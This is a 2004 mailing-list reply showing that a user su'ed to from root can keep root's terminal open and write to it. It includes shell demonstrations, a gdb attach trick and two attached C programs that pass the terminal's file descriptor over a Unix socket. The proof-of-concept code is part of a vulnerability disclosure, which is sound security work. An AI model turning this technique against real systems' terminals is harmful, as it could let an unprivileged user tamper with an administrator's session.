Re: init scripts and su
On Sun, Aug 01, 2004 at 08:24:29PM +0200, Jan Minar wrote:
> On Wed, Jul 28, 2004 at 04:54:35AM -0400, Andrew Pimlott wrote:
> > I verified that if I "su - andrew bash" as root, then
> > andrew can write to root's terminal, even after bash exits (just hold
> > the fd open).
>
> Did You use the ioctl() method Russel described, or another means?
> (Would You care to share the code?)
No, I just meant write(2). Eg,
# ls -l `tty`
crw--w---- 1 root tty 136, 159 Aug 1 18:37 /dev/pts/671
# su - andrew bash
$ (sleep 20; echo hello) &
[1] 5764
$ disown %1
$ exit
# hello
Or even
# su - andrew bash
$ ./sendfd
$ exit
# hello
Where sendfd sends stdout over a unix socket to recvfd, which waits 10
seconds after it receives the fd, then writes "hello". (Rough sources
attached.) Obviously, neither scenario is realistic in that you don't
just give a shell to the user you su to. However, I think at least the
sendfd version is just as possible, with a little more work, by the
target user attaching to the process and running the code that way. As
a small proof of that, i note that I can run, from another terminal, as
andrew,
gdb =bash $(pidof bash)
...
(gdb) p write(1, "hello\n", 6)
and have "hello" show up on the terminal running "su - andrew bash".
Maybe I'm missing something, or maybe read/write is not considered a
serious vulnerability, but it looks unsafe to me.
(BTW, be sure that the tty you are using is actually owned by root. At
one point, I was working in a terminal in which I had su'ed to root, but
the tty was still owned by andrew.)
Andrew
/* See http://www.ussg.iu.edu/hypermail/linux/kernel/0003.1/0211.html */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv) {
int send_fd;
struct sockaddr_un server_addr;
struct cmsghdr *cmsg;
char buf[1];
struct iovec iov;
struct msghdr msg;
send_fd = socket(PF_UNIX, SOCK_STREAM, 0);
server_addr.sun_family = AF_UNIX;
snprintf(server_addr.sun_path, 108, "sock");
connect(send_fd, (struct sockaddr *) &server_addr, sizeof(server_addr));
cmsg = malloc(CMSG_SPACE(sizeof(int)));
cmsg->cmsg_len = CMSG_LEN(sizeof(int));
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
* (int *) CMSG_DATA(cmsg) = 1;
iov.iov_base = buf;
iov.iov_len = sizeof(buf);
msg.msg_name = NULL;
msg.msg_namelen = 0;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = cmsg;
msg.msg_controllen = CMSG_SPACE(sizeof(int));
msg.msg_flags = 0;
sendmsg(send_fd, &msg, 0);
return 0;
}
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv) {
int listen_fd, recv_fd, fd;
struct sockaddr_un server_addr, client_addr;
socklen_t addr_len = sizeof(client_addr);
struct cmsghdr *cmsg;
char buf[1];
struct iovec iov;
struct msghdr msg;
listen_fd = socket(PF_UNIX, SOCK_STREAM, 0);
server_addr.sun_family = AF_UNIX;
unlink("sock");
snprintf(server_addr.sun_path, 108, "sock");
bind(listen_fd, (struct sockaddr *) &server_addr, sizeof(server_addr));
listen(listen_fd, 1);
recv_fd = accept(listen_fd, (struct sockaddr *) &client_addr, &addr_len);
cmsg = malloc(CMSG_SPACE(sizeof(int)));
iov.iov_base = buf;
iov.iov_len = sizeof(buf);
msg.msg_name = NULL;
msg.msg_namelen = 0;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = cmsg;
msg.msg_controllen = CMSG_SPACE(sizeof(int));
msg.msg_flags = 0;
recvmsg(recv_fd, &msg, 0);
cmsg = CMSG_FIRSTHDR(&msg);
fd = * (int *) CMSG_DATA(cmsg);
sleep(10);
write(fd, "hello\n", 6);
return 0;
}
Reply to: